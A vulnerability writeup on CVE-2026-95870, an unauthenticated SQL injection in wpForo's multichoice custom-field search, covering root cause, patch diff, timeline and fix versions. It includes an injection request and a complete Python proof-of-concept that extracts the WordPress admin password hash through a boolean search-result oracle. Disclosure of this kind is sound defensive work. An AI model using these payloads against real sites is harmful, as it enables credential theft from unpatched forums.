Skip to content

CVE-2026-95870: wpForo Forum Unauthenticated SQL Injection via Multichoice Search

TL;DR

  • I found an unauthenticated SQL injection in wpForo Forum, a WordPress forum plugin with 20,000+ active installations, that lets a visitor read database values through the public search page.
  • The site needs a searchable topic field that stores several choices. A checkbox qualifies, as does a select or autocomplete field with isMultiChoice enabled.
  • wpForo escaped the visitor's value for a regular expression, then inserted it into a single-quoted SQL REGEXP condition. preg_quote() leaves apostrophes alone, so an attacker could break out of the string and add SQL.
  • I used the presence of a search result as a true/false oracle and extracted the complete password hash for the WordPress administrator.
  • The vulnerable code runs from wpForo 2.0.1 through 3.1.7 and the first fix is in 3.2.0. Wordfence tracks the issue as CVE-2026-95870, but its <= 3.2.1 affected range and 3.2.2 fixed version do not match the official release archives.

Summary

  • CVE: CVE-2026-95870
  • Product: wpForo Forum
  • Active Installs: 20,000+
  • Vulnerability: Unauthenticated SQL Injection via Multichoice Custom Field Search
  • Affected Versions: >= 2.0.1, <= 3.1.7
  • Fixed In: 3.2.0
  • CVSS Severity: 7.5 (high)
  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
  • Required Privilege: Unauthenticated
  • Advisory: Wordfence
  • Reported: July 31, 2026
  • NVD Published: November 7, 2026

Introduction

wpForo 3.1.2 fixed a guard that had been dropping array values from checkbox and multi-select topic fields. Those values also feed into the plugin's custom-field search, where most branches escape them for SQL before building a query.

The checkbox and multichoice branch was the exception. It escaped each value as a regular expression, but no longer escaped it for the SQL string around that expression.

Root Cause Analysis

From Public Search to Postmeta

wpForo stores custom topic values in its own postmeta table, which associates a post ID and field name with a value. The normal forum search accepts filters such as data[topic_options]=red, and the controller in wpforo.php passes them to PostMeta::search(). This is a public frontend search route, so it does not require a login, capability check or nonce.

The method uses the supplied key to load a registered field definition. That prevents an arbitrary field name from selecting this branch, but the associated value still comes from the visitor.

Regular Expression Escaping Inside SQL

The vulnerable branch in classes/PostMeta.php handles fields whose values are stored as JSON arrays.

// classes/PostMeta.php (PostMeta::search)
foreach( $args as $key => $value ) {
    if( $field = WPF()->post->get_field( $key ) ) { // [1] Registered field only.
        $value  = (array) $value;
        $wheres = [];
        if( in_array( $field['type'], [ 'text', 'textarea', 'email', 'search', 'tel' ] ) ) {
            foreach( $value as $v ) $wheres[] = "`metavalue` LIKE '%" . esc_sql( wp_unslash( $v ) ) . "%'";
        } elseif( $field['type'] === 'checkbox' || ( $field['type'] === 'select' && wpfval( $field, 'isMultiChoice' ) ) || ( $field['type'] === 'autocomplete' && wpfval( $field, 'isMultiChoice' ) ) ) { // [2] Multichoice branch.
            foreach( $value as $v ) {
                $v        = preg_quote( preg_quote( wp_unslash( $v ) ) ); // [3] Regex escaping only.
                $wheres[] = "`metavalue` REGEXP '[\\\[,]\"" . $v . "\"[,\\\]]'"; // [4] Quoted SQL fragment.
            }
        } else {
            foreach( $value as $v ) $wheres[] = "`metavalue` LIKE '" . esc_sql( wp_unslash( $v ) ) . "'";
        }

The field lookup at [1] establishes the configuration requirement. [2] selects the branch for a checkbox, or for a select or autocomplete field with isMultiChoice enabled.

At [3], preg_quote() protects regular-expression characters such as . and *. An apostrophe is not special to the regular-expression parser, so both calls leave it unchanged. [4] then concatenates that value between the apostrophes of an SQL string. The neighbouring branches call esc_sql() on their values, but this one does not.

For a value of ZZZ' OR TRUE OR ', the condition becomes:

`metavalue` REGEXP '[\\[,]"ZZZ' OR TRUE OR '"[,\\]]'

The ZZZ prefix makes the first regular expression false for ordinary stored values. The injected OR TRUE then decides whether the condition returns a row, and the final apostrophe balances the fixed suffix.

Turning Rows Into Search Results

Each field condition becomes an inner two-column query. wpForo unions those queries, groups them by post ID and runs the completed string directly through the database wrapper.

// classes/PostMeta.php (PostMeta::search)
if( $wheres ) {
    $selects[] = "SELECT `postid`, `metakey` FROM `" . WPF()->tables->postmeta . "` 
    WHERE `metakey` = '" . esc_sql( $key ) . "' AND " . implode( ' AND ', $wheres ); // [5] Inner query concatenated.
}

// ... field loop closures omitted.

if( $selects ) {
    $sql = "SELECT `postid`, COUNT(`postid`) AS pcount FROM
    (" . implode( ' UNION ', $selects ) . ") AS pm
    GROUP BY `postid` HAVING pcount = " . count( $selects );

    return WPF()->db->get_col( $sql ); // [6] Query executed.
}

[5] adds the unescaped condition to a query that selects postid and metakey. That shape gives an injected UNION SELECT two columns to fill. The outer query keeps the first as a post ID, and [6] returns those IDs to the forum search.

An injected union chooses a real post ID when a guessed condition is true and a nonexistent one when it is false, so a matching search card becomes a one-bit response from any table the WordPress database user can read.

Impact

An unauthenticated visitor can read sensitive database values when the required searchable field is registered. I used a two-column UNION SELECT CASE WHEN expression to extract the complete user_pass value for the WordPress administrator from wp_users.

The attack does not depend on an error message or a visible query result. It needs only the difference between a search page containing a result and one containing none.

Exploitation

Preconditions

  • wpForo 2.0.1 through 3.1.7 is active.
  • A searchable topic field is registered as a checkbox, or as a select or autocomplete field with isMultiChoice enabled.
  • The attacker knows a public search term that matches a post. That post supplies the true side of the oracle.

Manual Request

The public request below supplies a true predicate through a registered field named runtime_multi.

GET /community/?wpfs=C26&wpfin=entire-posts&data%5Bruntime_multi%5D=ZZZ%27%20OR%20TRUE%20OR%20%27 HTTP/1.1
Host: target.example

Replacing TRUE with FALSE removes the matching result. No cookie or nonce is sent in either request.

PoC

The PoC accompanying this writeup first checks the false and true predicates, reads a usable post ID from the true response, then tries password-hash characters in parallel.

#!/usr/bin/env python3
"""CVE-2026-95870: exploit wpForo's unauthenticated multichoice search SQL injection."""

import argparse
import concurrent.futures
import re
import sys
import urllib.error
import urllib.parse
import urllib.request


CHARSET = "$./0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
FALSE_POST_ID = 999999999


class ExploitError(RuntimeError):
    pass


class SearchOracle:
    def __init__(self, forum_url, field, search_term, timeout):
        self.forum_url = forum_url.rstrip("/") + "/"
        self.field = field
        self.search_term = search_term
        self.timeout = timeout

    def request(self, payload):
        query = urllib.parse.urlencode(
            {
                "wpfs": self.search_term,
                "wpfin": "entire-posts",
                f"data[{self.field}]": payload,
            }
        )
        request = urllib.request.Request(
            self.forum_url + "?" + query,
            headers={"User-Agent": "CVE-2026-95870-PoC/1.0"},
        )
        try:
            with urllib.request.urlopen(request, timeout=self.timeout) as response:
                return response.read().decode("utf-8", "replace")
        except (urllib.error.URLError, TimeoutError) as exc:
            raise ExploitError(f"request failed: {exc}") from exc

    @staticmethod
    def has_result(html):
        return 'class="wpf-search-result-card"' in html

    @staticmethod
    def first_post_id(html):
        match = re.search(r"#post-(\d+)", html)
        if not match:
            raise ExploitError("the injected search returned a result but its post ID was not found")
        return int(match.group(1))

    def predicate(self, condition):
        payload = f"ZZZ' OR {condition} OR '"
        return self.has_result(self.request(payload))

    def hash_prefix_matches(self, users_table, username, true_post_id, prefix, exact=False):
        pattern = prefix if exact else prefix + "%"
        payload = (
            "ZZZ' OR FALSE UNION SELECT CASE WHEN user_pass LIKE BINARY '"
            + pattern
            + f"' THEN {true_post_id} ELSE {FALSE_POST_ID} END,user_login FROM {users_table} "
            + "WHERE user_login LIKE '"
            + username
            + "' OR '"
        )
        return self.has_result(self.request(payload))


def valid_identifier(value, label):
    if not re.fullmatch(r"[A-Za-z0-9_]+", value):
        raise argparse.ArgumentTypeError(f"{label} must contain only letters, digits, or underscores")
    return value


def parse_args():
    parser = argparse.ArgumentParser(
        description=(
            "Confirm the public wpForo multichoice postmeta search SQL injection and "
            "extract a WordPress user's password hash with a boolean search-result oracle."
        )
    )
    parser.add_argument("forum_url", help="Public wpForo URL, for example http://localhost:8090/community/")
    parser.add_argument("field", help="Searchable checkbox or multichoice topic field key")
    parser.add_argument("search_term", help="Public search term that returns a post when the injected predicate is true")
    parser.add_argument("--username", default="admin", help="WordPress login to extract (default: admin)")
    parser.add_argument("--users-table", default="wp_users", help="WordPress users table (default: wp_users)")
    parser.add_argument("--workers", type=int, default=12, help="Concurrent character probes (default: 12)")
    parser.add_argument("--max-length", type=int, default=128, help="Maximum hash length (default: 128)")
    parser.add_argument("--timeout", type=float, default=15.0, help="HTTP timeout in seconds (default: 15)")
    args = parser.parse_args()
    args.field = valid_identifier(args.field, "field")
    args.users_table = valid_identifier(args.users_table, "users table")
    if not re.fullmatch(r"[A-Za-z0-9_.@-]+", args.username):
        parser.error("username contains unsupported characters")
    if args.workers < 1 or args.max_length < 1 or args.timeout <= 0:
        parser.error("workers, max-length, and timeout must be positive")
    return args


def extract_hash(oracle, users_table, username, true_post_id, workers, max_length):
    prefix = ""
    for _ in range(max_length):
        if prefix and oracle.hash_prefix_matches(users_table, username, true_post_id, prefix, exact=True):
            return prefix

        def test_character(character):
            matches = oracle.hash_prefix_matches(
                users_table,
                username,
                true_post_id,
                prefix + character,
            )
            return character if matches else None

        with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as executor:
            matches = [value for value in executor.map(test_character, CHARSET) if value is not None]
        if len(matches) != 1:
            raise ExploitError(
                f"unable to resolve the next hash character after {prefix!r}; matching candidates: {matches}"
            )
        prefix += matches[0]
        print(f"\r[*] Extracted password hash: {prefix}", end="", flush=True)

    raise ExploitError(f"password hash exceeded the configured maximum length of {max_length}")


def main():
    args = parse_args()
    oracle = SearchOracle(args.forum_url, args.field, args.search_term, args.timeout)

    print("CVE-2026-95870: wpForo multichoice postmeta SQL injection")
    print(f"Target: {oracle.forum_url}")
    print(f"Field: {args.field}")
    print("Authentication: none")

    print("[*] Checking false and true SQL predicates")
    false_result = oracle.predicate("FALSE")
    true_html = oracle.request("ZZZ' OR TRUE OR '")
    true_result = oracle.has_result(true_html)
    if false_result or not true_result:
        raise ExploitError(
            "the response did not provide a usable oracle; check the field key and public search term"
        )
    true_post_id = oracle.first_post_id(true_html)
    print(f"[+] SQL injection confirmed with result post ID {true_post_id}")

    print(f"[*] Extracting the password hash for WordPress user {args.username!r}")
    password_hash = extract_hash(
        oracle,
        args.users_table,
        args.username,
        true_post_id,
        args.workers,
        args.max_length,
    )
    print()
    print(f"[+] Extracted {args.username} password hash: {password_hash}")
    return 0


if __name__ == "__main__":
    try:
        raise SystemExit(main())
    except ExploitError as exc:
        print(f"[-] {exc}", file=sys.stderr)
        raise SystemExit(1)

Run it against the forum URL with the registered field key and a public phrase from a matching post.

python3 cve-2026-95870.py \
  http://localhost:8090/community/ runtime_multi C26 --workers 20

The password hash is shortened in this transcript.

CVE-2026-95870: wpForo multichoice postmeta SQL injection
Target: http://localhost:8090/community/
Field: runtime_multi
Authentication: none
[*] Checking false and true SQL predicates
[+] SQL injection confirmed with result post ID 11
[*] Extracting the password hash for WordPress user 'admin'
[+] Extracted admin password hash: $wp$2y$10$[remainder redacted]

Patch Diffing

The affected and fixed versions in the public records do not match the released code.

EvidenceAffected VersionsFixed In
Wordfence and CVE.org metadata<= 3.2.13.2.2
Official release archives>= 2.0.1, <= 3.1.73.2.0

The source comparison below uses 3.1.7, the last vulnerable release, and 3.2.0, the first release with the fix.

// classes/PostMeta.php (PostMeta::search)
                    foreach( $value as $v ) $wheres[] = "`metavalue` LIKE '%" . esc_sql( wp_unslash( $v ) ) . "%'";
                } elseif( $field['type'] === 'checkbox' || ( $field['type'] === 'select' && wpfval( $field, 'isMultiChoice' ) ) || ( $field['type'] === 'autocomplete' && wpfval( $field, 'isMultiChoice' ) ) ) {
                    foreach( $value as $v ) {
-                       $v        = preg_quote( preg_quote( wp_unslash( $v ) ) );
+                       // esc_sql() neutralizes SQL quotes/backslashes; preg_quote keeps the value a regex literal.
+                       // Without esc_sql an apostrophe breaks out of the REGEXP string literal (unauthenticated SQLi).
+                       $v        = esc_sql( preg_quote( preg_quote( wp_unslash( $v ) ) ) );
                        $wheres[] = "`metavalue` REGEXP '[\\\[,]\"" . $v . "\"[,\\\]]'";
                    }
                } else {

The patch keeps the regular-expression escaping and adds esc_sql() around its result before concatenation. An apostrophe and backslash are now escaped for the surrounding SQL literal, so the visitor's value stays inside the REGEXP pattern.

The range begins at 2.0.1. Version 1.9.9.2 escaped the same value for SQL, while 2.0.1 removed that call.

Release 3.2.1 replaced the double preg_quote() with wpforo_json_regexp_needle() to handle JSON escaping and malformed UTF-8, but retained the outer esc_sql(). The 3.2.1 and 3.2.2 copies of classes/PostMeta.php are identical.

Remediation

Update wpForo to the current 3.2.4 release or a newer version. It is newer than both the first release containing this fix and Wordfence's recommended minimum.

Disclosure Timeline

  • July 31, 2026: Reported to the Wordfence bug bounty programme against wpForo 3.1.4.
  • September 22, 2026: Triage started, the report was validated and CVE-2026-95870 was assigned.
  • September 25, 2026: Bounty awarded ($200). wpForo 3.2.0 was released with SQL escaping added to the vulnerable branch.
  • September 26, 2026: wpForo 3.2.1 moved the regex handling into a JSON-aware helper and hardened malformed UTF-8 handling while retaining the SQL escape.
  • September 28, 2026: wpForo 3.2.2 was released. Its classes/PostMeta.php is unchanged from 3.2.1.
  • November 6, 2026: Published by Wordfence as CVE-2026-95870.
  • November 7, 2026: The CVE record was published by CVE.org and NVD.

Conclusion

wpForo's current release escapes the regex value for SQL before building the query, so the apostrophe breakout no longer works. The public version metadata still needs correction because it places the fix two releases later than the official archives do.

References